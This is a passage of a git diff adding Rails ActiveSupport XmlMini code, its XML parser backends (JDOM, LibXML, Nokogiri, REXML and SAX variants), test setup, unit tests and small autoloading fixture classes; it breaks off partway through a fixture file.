+        @original_filename || "untitled"
+      end
+
+      def content_type
+        @content_type || "application/octet-stream"
+      end
+    end
+
+    DEFAULT_ENCODINGS = {
+      "binary" => "base64"
+    } unless defined?(DEFAULT_ENCODINGS)
+
+    unless defined?(TYPE_NAMES)
+      TYPE_NAMES = {
+        "Symbol"     => "symbol",
+        "Integer"    => "integer",
+        "BigDecimal" => "decimal",
+        "Float"      => "float",
+        "TrueClass"  => "boolean",
+        "FalseClass" => "boolean",
+        "Date"       => "date",
+        "DateTime"   => "dateTime",
+        "Time"       => "dateTime",
+        "Array"      => "array",
+        "Hash"       => "hash"
+      }
+
+      # No need to map these on Ruby 2.4+
+      TYPE_NAMES["Fixnum"] = "integer" unless 0.class == Integer
+      TYPE_NAMES["Bignum"] = "integer" unless 0.class == Integer
+    end
+
+    FORMATTING = {
+      "symbol"   => Proc.new { |symbol| symbol.to_s },
+      "date"     => Proc.new { |date| date.to_s(:db) },
+      "dateTime" => Proc.new { |time| time.xmlschema },
+      "binary"   => Proc.new { |binary| ::Base64.encode64(binary) },
+      "yaml"     => Proc.new { |yaml| yaml.to_yaml }
+    } unless defined?(FORMATTING)
+
+    # TODO use regexp instead of Date.parse
+    unless defined?(PARSING)
+      PARSING = {
+        "symbol"       => Proc.new { |symbol|  symbol.to_s.to_sym },
+        "date"         => Proc.new { |date|    ::Date.parse(date) },
+        "datetime"     => Proc.new { |time|    Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc },
+        "integer"      => Proc.new { |integer| integer.to_i },
+        "float"        => Proc.new { |float|   float.to_f },
+        "decimal"      => Proc.new do |number|
+          if String === number
+            begin
+              BigDecimal(number)
+            rescue ArgumentError
+              BigDecimal("0")
+            end
+          else
+            BigDecimal(number)
+          end
+        end,
+        "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.to_s.strip) },
+        "string"       => Proc.new { |string|  string.to_s },
+        "yaml"         => Proc.new { |yaml|    YAML::load(yaml) rescue yaml },
+        "base64Binary" => Proc.new { |bin|     ::Base64.decode64(bin) },
+        "binary"       => Proc.new { |bin, entity| _parse_binary(bin, entity) },
+        "file"         => Proc.new { |file, entity| _parse_file(file, entity) }
+      }
+
+      PARSING.update(
+        "double"   => PARSING["float"],
+        "dateTime" => PARSING["datetime"]
+      )
+    end
+
+    attr_accessor :depth
+    self.depth = 100
+
+    delegate :parse, to: :backend
+
+    def backend
+      current_thread_backend || @backend
+    end
+
+    def backend=(name)
+      backend = name && cast_backend_name_to_module(name)
+      self.current_thread_backend = backend if current_thread_backend
+      @backend = backend
+    end
+
+    def with_backend(name)
+      old_backend = current_thread_backend
+      self.current_thread_backend = name && cast_backend_name_to_module(name)
+      yield
+    ensure
+      self.current_thread_backend = old_backend
+    end
+
+    def to_tag(key, value, options)
+      type_name = options.delete(:type)
+      merged_options = options.merge(root: key, skip_instruct: true)
+
+      if value.is_a?(::Method) || value.is_a?(::Proc)
+        if value.arity == 1
+          value.call(merged_options)
+        else
+          value.call(merged_options, key.to_s.singularize)
+        end
+      elsif value.respond_to?(:to_xml)
+        value.to_xml(merged_options)
+      else
+        type_name ||= TYPE_NAMES[value.class.name]
+        type_name ||= value.class.name if value && !value.respond_to?(:to_str)
+        type_name   = type_name.to_s   if type_name
+        type_name   = "dateTime" if type_name == "datetime"
+
+        key = rename_key(key.to_s, options)
+
+        attributes = options[:skip_types] || type_name.nil? ? {} : { type: type_name }
+        attributes[:nil] = true if value.nil?
+
+        encoding = options[:encoding] || DEFAULT_ENCODINGS[type_name]
+        attributes[:encoding] = encoding if encoding
+
+        formatted_value = FORMATTING[type_name] && !value.nil? ?
+          FORMATTING[type_name].call(value) : value
+
+        options[:builder].tag!(key, formatted_value, attributes)
+      end
+    end
+
+    def rename_key(key, options = {})
+      camelize  = options[:camelize]
+      dasherize = !options.has_key?(:dasherize) || options[:dasherize]
+      if camelize
+        key = true == camelize ? key.camelize : key.camelize(camelize)
+      end
+      key = _dasherize(key) if dasherize
+      key
+    end
+
+    private
+
+      def _dasherize(key)
+        # $2 must be a non-greedy regex for this to work
+        left, middle, right = /\A(_*)(.*?)(_*)\Z/.match(key.strip)[1, 3]
+        "#{left}#{middle.tr('_ ', '--')}#{right}"
+      end
+
+      # TODO: Add support for other encodings
+      def _parse_binary(bin, entity)
+        case entity["encoding"]
+        when "base64"
+          ::Base64.decode64(bin)
+        else
+          bin
+        end
+      end
+
+      def _parse_file(file, entity)
+        f = StringIO.new(::Base64.decode64(file))
+        f.extend(FileLike)
+        f.original_filename = entity["name"]
+        f.content_type = entity["content_type"]
+        f
+      end
+
+      def current_thread_backend
+        Thread.current[:xml_mini_backend]
+      end
+
+      def current_thread_backend=(name)
+        Thread.current[:xml_mini_backend] = name && cast_backend_name_to_module(name)
+      end
+
+      def cast_backend_name_to_module(name)
+        if name.is_a?(Module)
+          name
+        else
+          require_relative "xml_mini/#{name.downcase}"
+          ActiveSupport.const_get("XmlMini_#{name}")
+        end
+      end
+  end
+
+  XmlMini.backend = "REXML"
+end
diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb
new file mode 100644
index 0000000000..60c7277028
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/jdom.rb
@@ -0,0 +1,183 @@
+# frozen_string_literal: true
+
+raise "JRuby is required to use the JDOM backend for XmlMini" unless RUBY_PLATFORM.include?("java")
+
+require "jruby"
+include Java
+
+require_relative "../core_ext/object/blank"
+
+java_import javax.xml.parsers.DocumentBuilder unless defined? DocumentBuilder
+java_import javax.xml.parsers.DocumentBuilderFactory unless defined? DocumentBuilderFactory
+java_import java.io.StringReader unless defined? StringReader
+java_import org.xml.sax.InputSource unless defined? InputSource
+java_import org.xml.sax.Attributes unless defined? Attributes
+java_import org.w3c.dom.Node unless defined? Node
+
+module ActiveSupport
+  module XmlMini_JDOM #:nodoc:
+    extend self
+
+    CONTENT_KEY = "__content__".freeze
+
+    NODE_TYPE_NAMES = %w{ATTRIBUTE_NODE CDATA_SECTION_NODE COMMENT_NODE DOCUMENT_FRAGMENT_NODE
+    DOCUMENT_NODE DOCUMENT_TYPE_NODE ELEMENT_NODE ENTITY_NODE ENTITY_REFERENCE_NODE NOTATION_NODE
+    PROCESSING_INSTRUCTION_NODE TEXT_NODE}
+
+    node_type_map = {}
+    NODE_TYPE_NAMES.each { |type| node_type_map[Node.send(type)] = type }
+
+    # Parse an XML Document string or IO into a simple hash using Java's jdom.
+    # data::
+    #   XML Document string or IO to parse
+    def parse(data)
+      if data.respond_to?(:read)
+        data = data.read
+      end
+
+      if data.blank?
+        {}
+      else
+        @dbf = DocumentBuilderFactory.new_instance
+        # secure processing of java xml
+        # http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html
+        @dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
+        @dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
+        @dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
+        @dbf.setFeature(javax.xml.XMLConstants::FEATURE_SECURE_PROCESSING, true)
+        xml_string_reader = StringReader.new(data)
+        xml_input_source = InputSource.new(xml_string_reader)
+        doc = @dbf.new_document_builder.parse(xml_input_source)
+        merge_element!({ CONTENT_KEY => "" }, doc.document_element, XmlMini.depth)
+      end
+    end
+
+    private
+
+      # Convert an XML element and merge into the hash
+      #
+      # hash::
+      #   Hash to merge the converted element into.
+      # element::
+      #   XML element to merge into hash
+      def merge_element!(hash, element, depth)
+        raise "Document too deep!" if depth == 0
+        delete_empty(hash)
+        merge!(hash, element.tag_name, collapse(element, depth))
+      end
+
+      def delete_empty(hash)
+        hash.delete(CONTENT_KEY) if hash[CONTENT_KEY] == ""
+      end
+
+      # Actually converts an XML document element into a data structure.
+      #
+      # element::
+      #   The document element to be collapsed.
+      def collapse(element, depth)
+        hash = get_attributes(element)
+
+        child_nodes = element.child_nodes
+        if child_nodes.length > 0
+          (0...child_nodes.length).each do |i|
+            child = child_nodes.item(i)
+            merge_element!(hash, child, depth - 1) unless child.node_type == Node.TEXT_NODE
+          end
+          merge_texts!(hash, element) unless empty_content?(element)
+          hash
+        else
+          merge_texts!(hash, element)
+        end
+      end
+
+      # Merge all the texts of an element into the hash
+      #
+      # hash::
+      #   Hash to add the converted element to.
+      # element::
+      #   XML element whose texts are to me merged into the hash
+      def merge_texts!(hash, element)
+        delete_empty(hash)
+        text_children = texts(element)
+        if text_children.join.empty?
+          hash
+        else
+          # must use value to prevent double-escaping
+          merge!(hash, CONTENT_KEY, text_children.join)
+        end
+      end
+
+      # Adds a new key/value pair to an existing Hash. If the key to be added
+      # already exists and the existing value associated with key is not
+      # an Array, it will be wrapped in an Array. Then the new value is
+      # appended to that Array.
+      #
+      # hash::
+      #   Hash to add key/value pair to.
+      # key::
+      #   Key to be added.
+      # value::
+      #   Value to be associated with key.
+      def merge!(hash, key, value)
+        if hash.has_key?(key)
+          if hash[key].instance_of?(Array)
+            hash[key] << value
+          else
+            hash[key] = [hash[key], value]
+          end
+        elsif value.instance_of?(Array)
+          hash[key] = [value]
+        else
+          hash[key] = value
+        end
+        hash
+      end
+
+      # Converts the attributes array of an XML element into a hash.
+      # Returns an empty Hash if node has no attributes.
+      #
+      # element::
+      #   XML element to extract attributes from.
+      def get_attributes(element)
+        attribute_hash = {}
+        attributes = element.attributes
+        (0...attributes.length).each do |i|
+          attribute_hash[CONTENT_KEY] ||= ""
+          attribute_hash[attributes.item(i).name] = attributes.item(i).value
+        end
+        attribute_hash
+      end
+
+      # Determines if a document element has text content
+      #
+      # element::
+      #   XML element to be checked.
+      def texts(element)
+        texts = []
+        child_nodes = element.child_nodes
+        (0...child_nodes.length).each do |i|
+          item = child_nodes.item(i)
+          if item.node_type == Node.TEXT_NODE
+            texts << item.get_data
+          end
+        end
+        texts
+      end
+
+      # Determines if a document element has text content
+      #
+      # element::
+      #   XML element to be checked.
+      def empty_content?(element)
+        text = ""
+        child_nodes = element.child_nodes
+        (0...child_nodes.length).each do |i|
+          item = child_nodes.item(i)
+          if item.node_type == Node.TEXT_NODE
+            text << item.get_data.strip
+          end
+        end
+        text.strip.length == 0
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/xml_mini/libxml.rb b/activesupport/lib/active_support/xml_mini/libxml.rb
new file mode 100644
index 0000000000..b1be38fadf
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/libxml.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+require "libxml"
+require_relative "../core_ext/object/blank"
+require "stringio"
+
+module ActiveSupport
+  module XmlMini_LibXML #:nodoc:
+    extend self
+
+    # Parse an XML Document string or IO into a simple hash using libxml.
+    # data::
+    #   XML Document string or IO to parse
+    def parse(data)
+      if !data.respond_to?(:read)
+        data = StringIO.new(data || "")
+      end
+
+      if data.eof?
+        {}
+      else
+        LibXML::XML::Parser.io(data).parse.to_hash
+      end
+    end
+  end
+end
+
+module LibXML #:nodoc:
+  module Conversions #:nodoc:
+    module Document #:nodoc:
+      def to_hash
+        root.to_hash
+      end
+    end
+
+    module Node #:nodoc:
+      CONTENT_ROOT = "__content__".freeze
+
+      # Convert XML document to hash.
+      #
+      # hash::
+      #   Hash to merge the converted element into.
+      def to_hash(hash = {})
+        node_hash = {}
+
+        # Insert node hash into parent hash correctly.
+        case hash[name]
+        when Array then hash[name] << node_hash
+        when Hash  then hash[name] = [hash[name], node_hash]
+        when nil   then hash[name] = node_hash
+        end
+
+        # Handle child elements
+        each_child do |c|
+          if c.element?
+            c.to_hash(node_hash)
+          elsif c.text? || c.cdata?
+            node_hash[CONTENT_ROOT] ||= "".dup
+            node_hash[CONTENT_ROOT] << c.content
+          end
+        end
+
+        # Remove content node if it is blank
+        if node_hash.length > 1 && node_hash[CONTENT_ROOT].blank?
+          node_hash.delete(CONTENT_ROOT)
+        end
+
+        # Handle attributes
+        each_attr { |a| node_hash[a.name] = a.value }
+
+        hash
+      end
+    end
+  end
+end
+
+# :enddoc:
+
+LibXML::XML::Document.include(LibXML::Conversions::Document)
+LibXML::XML::Node.include(LibXML::Conversions::Node)
diff --git a/activesupport/lib/active_support/xml_mini/libxmlsax.rb b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
new file mode 100644
index 0000000000..3ad494310d
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "libxml"
+require_relative "../core_ext/object/blank"
+require "stringio"
+
+module ActiveSupport
+  module XmlMini_LibXMLSAX #:nodoc:
+    extend self
+
+    # Class that will build the hash while the XML document
+    # is being parsed using SAX events.
+    class HashBuilder
+      include LibXML::XML::SaxParser::Callbacks
+
+      CONTENT_KEY   = "__content__".freeze
+      HASH_SIZE_KEY = "__hash_size__".freeze
+
+      attr_reader :hash
+
+      def current_hash
+        @hash_stack.last
+      end
+
+      def on_start_document
+        @hash = { CONTENT_KEY => "".dup }
+        @hash_stack = [@hash]
+      end
+
+      def on_end_document
+        @hash = @hash_stack.pop
+        @hash.delete(CONTENT_KEY)
+      end
+
+      def on_start_element(name, attrs = {})
+        new_hash = { CONTENT_KEY => "".dup }.merge!(attrs)
+        new_hash[HASH_SIZE_KEY] = new_hash.size + 1
+
+        case current_hash[name]
+        when Array then current_hash[name] << new_hash
+        when Hash  then current_hash[name] = [current_hash[name], new_hash]
+        when nil   then current_hash[name] = new_hash
+        end
+
+        @hash_stack.push(new_hash)
+      end
+
+      def on_end_element(name)
+        if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ""
+          current_hash.delete(CONTENT_KEY)
+        end
+        @hash_stack.pop
+      end
+
+      def on_characters(string)
+        current_hash[CONTENT_KEY] << string
+      end
+
+      alias_method :on_cdata_block, :on_characters
+    end
+
+    attr_accessor :document_class
+    self.document_class = HashBuilder
+
+    def parse(data)
+      if !data.respond_to?(:read)
+        data = StringIO.new(data || "")
+      end
+
+      if data.eof?
+        {}
+      else
+        LibXML::XML::Error.set_handler(&LibXML::XML::Error::QUIET_HANDLER)
+        parser = LibXML::XML::SaxParser.io(data)
+        document = document_class.new
+
+        parser.callbacks = document
+        parser.parse
+        document.hash
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/xml_mini/nokogiri.rb b/activesupport/lib/active_support/xml_mini/nokogiri.rb
new file mode 100644
index 0000000000..1987330c25
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+begin
+  require "nokogiri"
+rescue LoadError => e
+  $stderr.puts "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
+  raise e
+end
+require_relative "../core_ext/object/blank"
+require "stringio"
+
+module ActiveSupport
+  module XmlMini_Nokogiri #:nodoc:
+    extend self
+
+    # Parse an XML Document string or IO into a simple hash using libxml / nokogiri.
+    # data::
+    #   XML Document string or IO to parse
+    def parse(data)
+      if !data.respond_to?(:read)
+        data = StringIO.new(data || "")
+      end
+
+      if data.eof?
+        {}
+      else
+        doc = Nokogiri::XML(data)
+        raise doc.errors.first if doc.errors.length > 0
+        doc.to_hash
+      end
+    end
+
+    module Conversions #:nodoc:
+      module Document #:nodoc:
+        def to_hash
+          root.to_hash
+        end
+      end
+
+      module Node #:nodoc:
+        CONTENT_ROOT = "__content__".freeze
+
+        # Convert XML document to hash.
+        #
+        # hash::
+        #   Hash to merge the converted element into.
+        def to_hash(hash = {})
+          node_hash = {}
+
+          # Insert node hash into parent hash correctly.
+          case hash[name]
+          when Array then hash[name] << node_hash
+          when Hash  then hash[name] = [hash[name], node_hash]
+          when nil   then hash[name] = node_hash
+          end
+
+          # Handle child elements
+          children.each do |c|
+            if c.element?
+              c.to_hash(node_hash)
+            elsif c.text? || c.cdata?
+              node_hash[CONTENT_ROOT] ||= "".dup
+              node_hash[CONTENT_ROOT] << c.content
+            end
+          end
+
+          # Remove content node if it is blank and there are child tags
+          if node_hash.length > 1 && node_hash[CONTENT_ROOT].blank?
+            node_hash.delete(CONTENT_ROOT)
+          end
+
+          # Handle attributes
+          attribute_nodes.each { |a| node_hash[a.node_name] = a.value }
+
+          hash
+        end
+      end
+    end
+
+    Nokogiri::XML::Document.include(Conversions::Document)
+    Nokogiri::XML::Node.include(Conversions::Node)
+  end
+end
diff --git a/activesupport/lib/active_support/xml_mini/nokogirisax.rb b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
new file mode 100644
index 0000000000..fb57eb8867
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+begin
+  require "nokogiri"
+rescue LoadError => e
+  $stderr.puts "You don't have nokogiri installed in your application. Please add it to your Gemfile and run bundle install"
+  raise e
+end
+require_relative "../core_ext/object/blank"
+require "stringio"
+
+module ActiveSupport
+  module XmlMini_NokogiriSAX #:nodoc:
+    extend self
+
+    # Class that will build the hash while the XML document
+    # is being parsed using SAX events.
+    class HashBuilder < Nokogiri::XML::SAX::Document
+      CONTENT_KEY   = "__content__".freeze
+      HASH_SIZE_KEY = "__hash_size__".freeze
+
+      attr_reader :hash
+
+      def current_hash
+        @hash_stack.last
+      end
+
+      def start_document
+        @hash = {}
+        @hash_stack = [@hash]
+      end
+
+      def end_document
+        raise "Parse stack not empty!" if @hash_stack.size > 1
+      end
+
+      def error(error_message)
+        raise error_message
+      end
+
+      def start_element(name, attrs = [])
+        new_hash = { CONTENT_KEY => "".dup }.merge!(Hash[attrs])
+        new_hash[HASH_SIZE_KEY] = new_hash.size + 1
+
+        case current_hash[name]
+        when Array then current_hash[name] << new_hash
+        when Hash  then current_hash[name] = [current_hash[name], new_hash]
+        when nil   then current_hash[name] = new_hash
+        end
+
+        @hash_stack.push(new_hash)
+      end
+
+      def end_element(name)
+        if current_hash.length > current_hash.delete(HASH_SIZE_KEY) && current_hash[CONTENT_KEY].blank? || current_hash[CONTENT_KEY] == ""
+          current_hash.delete(CONTENT_KEY)
+        end
+        @hash_stack.pop
+      end
+
+      def characters(string)
+        current_hash[CONTENT_KEY] << string
+      end
+
+      alias_method :cdata_block, :characters
+    end
+
+    attr_accessor :document_class
+    self.document_class = HashBuilder
+
+    def parse(data)
+      if !data.respond_to?(:read)
+        data = StringIO.new(data || "")
+      end
+
+      if data.eof?
+        {}
+      else
+        document = document_class.new
+        parser = Nokogiri::XML::SAX::Parser.new(document)
+        parser.parse(data)
+        document.hash
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/xml_mini/rexml.rb b/activesupport/lib/active_support/xml_mini/rexml.rb
new file mode 100644
index 0000000000..5fd8978fc0
--- /dev/null
+++ b/activesupport/lib/active_support/xml_mini/rexml.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/kernel/reporting"
+require_relative "../core_ext/object/blank"
+require "stringio"
+
+module ActiveSupport
+  module XmlMini_REXML #:nodoc:
+    extend self
+
+    CONTENT_KEY = "__content__".freeze
+
+    # Parse an XML Document string or IO into a simple hash.
+    #
+    # Same as XmlSimple::xml_in but doesn't shoot itself in the foot,
+    # and uses the defaults from Active Support.
+    #
+    # data::
+    #   XML Document string or IO to parse
+    def parse(data)
+      if !data.respond_to?(:read)
+        data = StringIO.new(data || "")
+      end
+
+      if data.eof?
+        {}
+      else
+        silence_warnings { require "rexml/document" } unless defined?(REXML::Document)
+        doc = REXML::Document.new(data)
+
+        if doc.root
+          merge_element!({}, doc.root, XmlMini.depth)
+        else
+          raise REXML::ParseException,
+            "The document #{doc.to_s.inspect} does not have a valid root"
+        end
+      end
+    end
+
+    private
+      # Convert an XML element and merge into the hash
+      #
+      # hash::
+      #   Hash to merge the converted element into.
+      # element::
+      #   XML element to merge into hash
+      def merge_element!(hash, element, depth)
+        raise REXML::ParseException, "The document is too deep" if depth == 0
+        merge!(hash, element.name, collapse(element, depth))
+      end
+
+      # Actually converts an XML document element into a data structure.
+      #
+      # element::
+      #   The document element to be collapsed.
+      def collapse(element, depth)
+        hash = get_attributes(element)
+
+        if element.has_elements?
+          element.each_element { |child| merge_element!(hash, child, depth - 1) }
+          merge_texts!(hash, element) unless empty_content?(element)
+          hash
+        else
+          merge_texts!(hash, element)
+        end
+      end
+
+      # Merge all the texts of an element into the hash
+      #
+      # hash::
+      #   Hash to add the converted element to.
+      # element::
+      #   XML element whose texts are to me merged into the hash
+      def merge_texts!(hash, element)
+        unless element.has_text?
+          hash
+        else
+          # must use value to prevent double-escaping
+          texts = "".dup
+          element.texts.each { |t| texts << t.value }
+          merge!(hash, CONTENT_KEY, texts)
+        end
+      end
+
+      # Adds a new key/value pair to an existing Hash. If the key to be added
+      # already exists and the existing value associated with key is not
+      # an Array, it will be wrapped in an Array. Then the new value is
+      # appended to that Array.
+      #
+      # hash::
+      #   Hash to add key/value pair to.
+      # key::
+      #   Key to be added.
+      # value::
+      #   Value to be associated with key.
+      def merge!(hash, key, value)
+        if hash.has_key?(key)
+          if hash[key].instance_of?(Array)
+            hash[key] << value
+          else
+            hash[key] = [hash[key], value]
+          end
+        elsif value.instance_of?(Array)
+          hash[key] = [value]
+        else
+          hash[key] = value
+        end
+        hash
+      end
+
+      # Converts the attributes array of an XML element into a hash.
+      # Returns an empty Hash if node has no attributes.
+      #
+      # element::
+      #   XML element to extract attributes from.
+      def get_attributes(element)
+        attributes = {}
+        element.attributes.each { |n, v| attributes[n] = v }
+        attributes
+      end
+
+      # Determines if a document element has text content
+      #
+      # element::
+      #   XML element to be checked.
+      def empty_content?(element)
+        element.texts.join.blank?
+      end
+  end
+end
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
new file mode 100644
index 0000000000..3ac11e0fe0
--- /dev/null
+++ b/activesupport/test/abstract_unit.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+ORIG_ARGV = ARGV.dup
+
+require "active_support/core_ext/kernel/reporting"
+
+silence_warnings do
+  Encoding.default_internal = Encoding::UTF_8
+  Encoding.default_external = Encoding::UTF_8
+end
+
+require "active_support/testing/autorun"
+require "active_support/testing/method_call_assertions"
+
+ENV["NO_RELOAD"] = "1"
+require "active_support"
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Default to old to_time behavior but allow running tests with new behavior
+ActiveSupport.to_time_preserves_timezone = ENV["PRESERVE_TIMEZONES"] == "1"
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+class ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  # Skips the current run on Rubinius using Minitest::Assertions#skip
+  private def rubinius_skip(message = "")
+    skip message if RUBY_ENGINE == "rbx"
+  end
+
+  # Skips the current run on JRuby using Minitest::Assertions#skip
+  private def jruby_skip(message = "")
+    skip message if defined?(JRUBY_VERSION)
+  end
+end
diff --git a/activesupport/test/array_inquirer_test.rb b/activesupport/test/array_inquirer_test.rb
new file mode 100644
index 0000000000..d5419b862d
--- /dev/null
+++ b/activesupport/test/array_inquirer_test.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array"
+
+class ArrayInquirerTest < ActiveSupport::TestCase
+  def setup
+    @array_inquirer = ActiveSupport::ArrayInquirer.new([:mobile, :tablet, "api"])
+  end
+
+  def test_individual
+    assert @array_inquirer.mobile?
+    assert @array_inquirer.tablet?
+    assert_not @array_inquirer.desktop?
+  end
+
+  def test_any
+    assert @array_inquirer.any?(:mobile, :desktop)
+    assert @array_inquirer.any?(:watch, :tablet)
+    assert_not @array_inquirer.any?(:desktop, :watch)
+  end
+
+  def test_any_string_symbol_mismatch
+    assert @array_inquirer.any?("mobile")
+    assert @array_inquirer.any?(:api)
+  end
+
+  def test_any_with_block
+    assert @array_inquirer.any? { |v| v == :mobile }
+    assert_not @array_inquirer.any? { |v| v == :desktop }
+  end
+
+  def test_respond_to
+    assert_respond_to @array_inquirer, :development?
+  end
+
+  def test_inquiry
+    result = [:mobile, :tablet, "api"].inquiry
+
+    assert_instance_of ActiveSupport::ArrayInquirer, result
+    assert_equal @array_inquirer, result
+  end
+
+  def test_respond_to_fallback_to_array_respond_to
+    Array.class_eval do
+      def respond_to_missing?(name, include_private = false)
+        (name == :foo) || super
+      end
+    end
+    arr = ActiveSupport::ArrayInquirer.new([:x])
+
+    assert_respond_to arr, :can_you_hear_me?
+    assert_respond_to arr, :foo
+    assert_not_respond_to arr, :nope
+  ensure
+    Array.class_eval do
+      undef_method :respond_to_missing?
+      def respond_to_missing?(name, include_private = false)
+        super
+      end
+    end
+  end
+end
diff --git a/activesupport/test/autoload_test.rb b/activesupport/test/autoload_test.rb
new file mode 100644
index 0000000000..216b069420
--- /dev/null
+++ b/activesupport/test/autoload_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class TestAutoloadModule < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Isolation
+
+  module ::Fixtures
+    extend ActiveSupport::Autoload
+
+    module Autoload
+      extend ActiveSupport::Autoload
+    end
+  end
+
+  def setup
+    @some_class_path = File.expand_path("test/fixtures/autoload/some_class.rb")
+    @another_class_path = File.expand_path("test/fixtures/autoload/another_class.rb")
+  end
+
+  test "the autoload module works like normal autoload" do
+    module ::Fixtures::Autoload
+      autoload :SomeClass, "fixtures/autoload/some_class"
+    end
+
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
+  test "when specifying an :eager constant it still works like normal autoload by default" do
+    module ::Fixtures::Autoload
+      eager_autoload do
+        autoload :SomeClass, "fixtures/autoload/some_class"
+      end
+    end
+
+    assert_not_includes $LOADED_FEATURES, @some_class_path
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
+  test "the location of autoloaded constants defaults to :name.underscore" do
+    module ::Fixtures::Autoload
+      autoload :SomeClass
+    end
+
+    assert_not_includes $LOADED_FEATURES, @some_class_path
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
+  test "the location of :eager autoloaded constants defaults to :name.underscore" do
+    module ::Fixtures::Autoload
+      eager_autoload do
+        autoload :SomeClass
+      end
+    end
+
+    assert_not_includes $LOADED_FEATURES, @some_class_path
+    ::Fixtures::Autoload.eager_load!
+    assert_includes $LOADED_FEATURES, @some_class_path
+    assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
+  end
+
+  test "a directory for a block of autoloads can be specified" do
+    module ::Fixtures
+      autoload_under "autoload" do
+        autoload :AnotherClass
+      end
+    end
+
+    assert_not_includes $LOADED_FEATURES, @another_class_path
+    assert_nothing_raised { ::Fixtures::AnotherClass }
+  end
+
+  test "a path for a block of autoloads can be specified" do
+    module ::Fixtures
+      autoload_at "fixtures/autoload/another_class" do
+        autoload :AnotherClass
+      end
+    end
+
+    assert_not_includes $LOADED_FEATURES, @another_class_path
+    assert_nothing_raised { ::Fixtures::AnotherClass }
+  end
+end
diff --git a/activesupport/test/autoloading_fixtures/a/b.rb b/activesupport/test/autoloading_fixtures/a/b.rb
new file mode 100644
index 0000000000..27baaea08c
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/a/b.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class A::B
+end
diff --git a/activesupport/test/autoloading_fixtures/a/c/d.rb b/activesupport/test/autoloading_fixtures/a/c/d.rb
new file mode 100644
index 0000000000..f07128673f
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/a/c/d.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class A::C::D
+end
diff --git a/activesupport/test/autoloading_fixtures/a/c/em/f.rb b/activesupport/test/autoloading_fixtures/a/c/em/f.rb
new file mode 100644
index 0000000000..78c96cf45f
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/a/c/em/f.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class A::C::EM::F
+end
diff --git a/activesupport/test/autoloading_fixtures/application.rb b/activesupport/test/autoloading_fixtures/application.rb
new file mode 100644
index 0000000000..971cbe1b17
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/application.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+ApplicationController = 10
diff --git a/activesupport/test/autoloading_fixtures/circular1.rb b/activesupport/test/autoloading_fixtures/circular1.rb
new file mode 100644
index 0000000000..7f891b5eb1
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/circular1.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+silence_warnings do
+  Circular2
+end
+
+class Circular1
+end
diff --git a/activesupport/test/autoloading_fixtures/circular2.rb b/activesupport/test/autoloading_fixtures/circular2.rb
new file mode 100644
index 0000000000..1fdb4c261f
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/circular2.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+Circular1
+
+class Circular2
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder.rb b/activesupport/test/autoloading_fixtures/class_folder.rb
new file mode 100644
index 0000000000..ff0826c298
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ClassFolder
+  ConstantInClassFolder = "indeed"
+end
diff --git a/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb b/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
new file mode 100644
index 0000000000..cd901e9d71
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/class_folder/class_folder_subclass.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
